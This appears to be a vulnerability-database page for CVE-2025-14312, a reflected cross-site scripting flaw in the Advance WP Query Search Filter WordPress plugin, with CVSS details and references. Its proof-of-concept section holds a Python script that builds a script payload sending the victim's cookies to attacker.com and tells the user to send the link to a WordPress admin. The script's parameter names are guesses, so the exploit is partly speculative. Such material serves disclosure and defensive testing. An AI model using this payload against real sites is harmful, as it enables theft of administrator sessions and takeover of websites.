CVE-2025-14312

Description

The Advance WP Query Search Filter WordPress plugin through 1.0.10 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Advance WP Query Search Filter <= 1.0.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-14312 PoC - Reflected XSS in Advance WP Query Search Filter
# Target: WordPress site with Advance WP Query Search Filter plugin <= 1.0.10

def exploit_xss(target_url):
    """
    Exploit reflected XSS vulnerability in Advance WP Query Search Filter
    The plugin does not sanitize/escape parameters before outputting them
    """
    
    # Malicious JavaScript payload - steals admin cookies
    xss_payload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>'
    
    # Encode the payload for URL
    encoded_payload = requests.utils.quote(xss_payload)
    
    # Common search parameter names used by the plugin
    # Target URL structure (adjust based on actual plugin usage)
    malicious_url = f"{target_url}?s={encoded_payload}"
    
    print(f"[*] Generated malicious URL: {malicious_url}")
    print(f"[*] Send this URL to WordPress admin to steal cookies")
    
    # Alternative: Test with common parameter variations
    params_to_test = [
        's', 'search', 'q', 'query', 'keyword', 'awqsf_search'
    ]
    
    for param in params_to_test:
        test_url = f"{target_url}?{param}={encoded_payload}"
        print(f"[*] Testing: {test_url}")

# Usage
# target = "https://victim-site.com/"
# exploit_xss(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14312
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14312
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14312/
[4] VulDB https://vuldb.com/cve/CVE-2025-14312
[5] https://wpscan.com/vulnerability/f06f982b-108b-4fc1-ad48-2f890a06ecf0/

Raw JSON Data

JSON

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